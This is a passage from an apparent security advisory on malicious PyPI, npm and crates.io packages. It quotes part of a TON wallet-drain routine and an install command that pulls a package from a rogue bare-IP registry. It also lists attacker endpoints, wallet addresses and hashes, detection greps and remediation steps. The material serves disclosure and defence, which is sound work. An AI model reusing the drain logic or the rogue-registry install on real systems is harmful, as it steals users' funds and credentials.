            if gram_amount > 0:
                builders.append(TONTransferBuilder(destination=dest, amount=gram_amount))
            ...
            result = await wallet.batch_transfer_message(builders)

Simply entering async with FragmentClient(seed=...) as client: queries the wallet’s TON and USDT balances, reserves 0.12 TON (120,000,000 nanoton, plus 0.06 TON if the wallet holds USDT) to cover network gas, and dispatches a single atomic batch_transfer_message sending the entire remaining TON and USDT balance to UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU. On-chain transaction records confirm two victim drains (0.879963599 TON on 8 November at 18:19:30 UTC and 43.982037696 TON + 0.01 TON from UQCNCieyFZ_OId8raVhigDPp_9Tlr0OJryWpY5CLTRZVZEDp on 9 November at 23:02:47 UTC, reported in S1qwy/fragment-api-py#8), followed by a cash-out of 44.871449124 TON to UQDJvvpXs4bDBVBwnmchy4nJ-Y25Ck4RBfHzQI240qlVYbM8 at 07:11:59 UTC on 10 November.

3. @conduitops/logview-archive and the ltidisafe GCS tarball redirectors on npm

Among the npm malware advisories published on 10 November 2026, two clusters stand out for their second-stage delivery mechanics:

  • @conduitops/logview-archive (1.0.0 and 1.0.1, GHSA-x7hg-v8jr-wmgw): On postinstall, package.json invokes node install.js, which reads lib/toolchain.json and runs npm install @conduit/logview-cli@2.2.0 --registry http://139.196.94[.]195:8080/dl/npm/ into vendor/, pulling an unverified package from a plaintext HTTP registry on a bare IP address.
  • Eight scoped ltidisafe GCS tarball redirectors (@postex/common GHSA-fq53-vhhm-rqf7, @fmr-ap153177/apex-kit-icons GHSA-4wmc-p2p5-43h7, @fmr-ap149494/apex-base-component GHSA-96ww-78q6-m2q5, @jm-telefonica/multibrand-components GHSA-cq8v-qgrp-2jq4, @generic-means/ing-feat-scanner-libs GHSA-77gv-vj6m-6qg6, @futurae-public/adaptive-js GHSA-xcfm-cvqm-rcwc, @fcsmc/commercial-analytics GHSA-hfxq-xfgx-f9h8, and @factoryz/apollo GHSA-7q6h-g3hp-prq6): Published at version 99.9.1 targeting internal scopes at PostEx, Fidelity Investments (@fmr-ap*), Telefonica, ING Bank, and Futurae, each package ships an empty index.js (module.exports = {}) and declares a single dependency "ltidisafe" pointing to an external Google Cloud Storage tarball URL (hxxps://ltidi.storage.googleapis[.]com/depenconf/ltidisafe-3.9.1.tgz or ltidisafe-3.9.5.tgz).

IOCs

  • Network and phishing indicators (defanged):
    • sapho11 exfiltration endpoints: hxxps://webhook[.]site/14b3cc9b-3275-4b63-8b93-f4d2669fbdc1, hxxps://webhook[.]site/0a60608b-63de-480c-a441-38a8d107a9ea, hxxps://api.sdklfghaljksdhfkjasdfhlkasdhfjklasdf[.]xyz/v1/tipcheck, hxxps://api.sdklfghaljksdhfkjasdfhlasdhfjklasdf[.]xyz/v1/tipcheck, and hxxps://session-check.sapho11.workers[.]dev/v1/tipcheck
    • sapho11 GitHub credential-phishing kit: hxxps://session-check.sapho11.workers[.]dev/auth and /auth/login (HTML SHA-256 d8671b8aed8771dba6b57bd51d2e42914c0df87bd9e9d148478a0fbc121e81e6)
    • @conduitops/logview-archive rogue npm registry: hxxp://139.196.94[.]195:8080/dl/npm/
    • ltidisafe external GCS tarballs: hxxps://ltidi.storage.googleapis[.]com/depenconf/ltidisafe-3.9.1.tgz and hxxps://ltidi.storage.googleapis[.]com/depenconf/ltidisafe-3.9.5.tgz
  • Blockchain indicators (fragment-api-py@14.4.2):
    • Primary TON drain wallet: UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU (raw 0:2895f0bb7f27ffff41fed46cc6f72e59b55d823c2ef20e7a385b671256e62527)
    • Cash-out destination (2026-11-10 07:11:59 UTC): UQDJvvpXs4bDBVBwnmchy4nJ-Y25Ck4RBfHzQI240qlVYbM8 (raw 0:c9befa57b386c30550709e6721cb89c9f98db90a4e1105f1f3408db8d2a95561)
    • Drain transactions: SB60GTv+yhcRHBFV2H3KKCDKk3VXhoNf+/58FJAWfcU= (0.879963599 TON) and 75750f71be9253551faf6b464fa5866ada16b86f2a17a00c2c230fedaa584121 (43.982037696 TON)
  • Host / build-tree artifacts and SHA-256 digests:
    • Cargo build-script output file: target/*/build/lwd-uri-util-*/out/lwd_uri_build_context.json
    • lwd-uri-util .crate SHA-256 digests: 0.1.0 129be19ca4d1d997d168af561e5cea12b0a401716a05720daf48072e470d7db5, 0.1.1 10304aa2c167bb0d66800020fb1f983bc62bb5bec89239de9fddb129b523149a, 0.1.2 6d35f023e3d87f8d4bc91a3bc670ae4681e9d85937146b9b0683d0f33eb0f55a, 0.1.3 80c54ff4fe231c363db0c75cbb81f566ea4d10c266ec594165d840df13ab0973, 0.1.4 476a207e057ec463ff045a2c0115c8a34ea8eab70e0abe4c1efd90ceb8b5161c, 0.1.5 3b290a899d741be14f9bb9f3545279911f774608362f348654f10823774c2f87, 0.1.6 5c848823a78313c47596bdf3c260e8862a02c7e48fa8ce718aca332f7b80c4fd, 0.1.7 7c0fbaf582b9b4e674c108ed5b0cb2835b11369fbdb1ce7ac29d63e9321a6981 (0.1.7/build.rs: f466d5621525a4cf229e4a8377cd7285da5797eee77384253f1040a722765953)
    • fragment-api-py@14.4.2 SHA-256 digests: wheel 24c402f3c47e3d8bc29597d000def922fa507970e47322d6fd7f28a4d253d447, sdist f046a53fa9007ff4cecc3ca7c5811b3fe44b09905af162d260885d091519531e, FragmentAPI/utils/wallet.py 356850fb88116cb9a9d84ab5af5c21c6a3e3c06e41d4eafb1047dad68c718aa9, FragmentAPI/client.py 8bc3211ec1aac493181decdb15dc75887c187601fd9e85174bb3f6dfcd8214c7

Detection and remediation

# 1. Check Rust Cargo.toml / Cargo.lock and target/ directories for lwd-uri-util and its build context dump
rg -n 'lwd[-_]uri[-_]util|zip321-uri|sapho11' Cargo.toml Cargo.lock package.json package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null
find . -path '*/build/lwd-uri-util-*/out/lwd_uri_build_context.json' 2>/dev/null

# 2. Check Python environments and site-packages for fragment-api-py 14.4.2 and its drain markers
pip show fragment-api-py 2>/dev/null || true
rg -n 'UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU|sweep_wallet_to_self|_ensure_swept' \
  $(python3 -c 'import site; print(" ".join(site.getsitepackages()))' 2>/dev/null) 2>/dev/null || true

# 3. Search npm manifests and lockfiles for the 10 November malware wave
rg -n '@conduitops/logview-archive|139\.196\.94\.195|ltidisafe|@postex/common|@fmr-ap153177/apex-kit-icons|@fmr-ap149494/apex-base-component|@jm-telefonica/multibrand-components|@generic-means/ing-feat-scanner-libs|@futurae-public/adaptive-js|@fcsmc/commercial-analytics|@factoryz/apollo|@openyard/vetcode|kube-health-tools|moltbook-health|moltbook-api-helper|nodecheck-health|npm-scanner|leveldb-edit|"futrou":\s*"2\.0\.40"' \
  package.json package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null
  1. If lwd-uri-util or sapho11/zip321-uri was built or opened in an IDE: Inspect target/*/build/lwd-uri-util-*/out/lwd_uri_build_context.json to see the exact credentials captured, then delete the file, rotate all GitHub, AWS, Cargo, npm, PyPI, Fastlane, Apple, and Android signing credentials present on the machine, and migrate any accounts stored in ~/.keplr-mcp/vaults/ to a newly generated seed on a clean host.
  2. If fragment-api-py@14.4.2 was installed: Downgrade immediately to fragment-api-py==14.4.1 (pip install 'fragment-api-py==14.4.1') and transfer any remaining TON or Jetton assets out of the wallet configured in FragmentClient(seed=...).

Timeline

  • 2026-09-07: Operator registers sdklfghaljksdhfkjasdfhlkasdhfjklasdf[.]xyz via Namecheap behind Cloudflare.
  • 2026-10-12 to 2026-10-22: Attacker modifies fragment-api-py 13.0.0 source files (2026-10-12) and activates TON wallet UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU (2026-10-22).
  • 2026-11-08 (12:12 to 18:19:30 UTC): fragment-api-py@14.4.2 is uploaded to PyPI (12:12 UTC) and drains its first victim wallet (0.879963599 TON at 18:19:30 UTC).
  • 2026-11-09 (23:02:47 to 23:46:04 UTC): fragment-api-py@14.4.2 drains a second production wallet (43.982037696 TON at 23:02:47 UTC), and user lostgdie opens S1qwy/fragment-api-py#8 (23:46:04 UTC).
  • 2026-11-10 (01:26:45 to 03:17 UTC): sapho11 registers on GitHub (01:26 UTC), opens chainapsis/vizor-wallet PRs #1199 and #1200 (01:56 UTC), posts phishing issue sapho11/vizor-wallet#1 (02:26 UTC), opens AGENTS.md prompt-injection PR #1201 (02:35 UTC), publishes lwd-uri-util@0.1.0 to crates.io (03:05 UTC), and opens PR #1202 (03:06 UTC) before chainapsis closes all four PRs (03:17 UTC).
  • 2026-11-10 (03:13 to 07:20:43 UTC): sapho11 publishes lwd-uri-util 0.1.1 through 0.1.7 (03:13 to 06:30 UTC), GitHub publishes GHSA-8mh3-cf36-7xxq (06:31 UTC), sapho11 creates sapho11/zip321-uri (06:48 UTC) and opens zingolabs/zingo-common#85 (07:14 UTC) and zingolabs/zingolib#3148 (07:20 UTC), and the fragment-api-py attacker cashes out 44.871449124 TON (07:11:59 UTC).
  • 2026-11-10 (08:16 to 12:00 UTC): OpenSourceMalware publishes its technical analysis of the sapho11 campaign and files warnings zingolabs/zingo-common#86 and zingolabs/zingolib#3149, while SafeDep publishes its forensic analysis of fragment-api-py@14.4.2.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References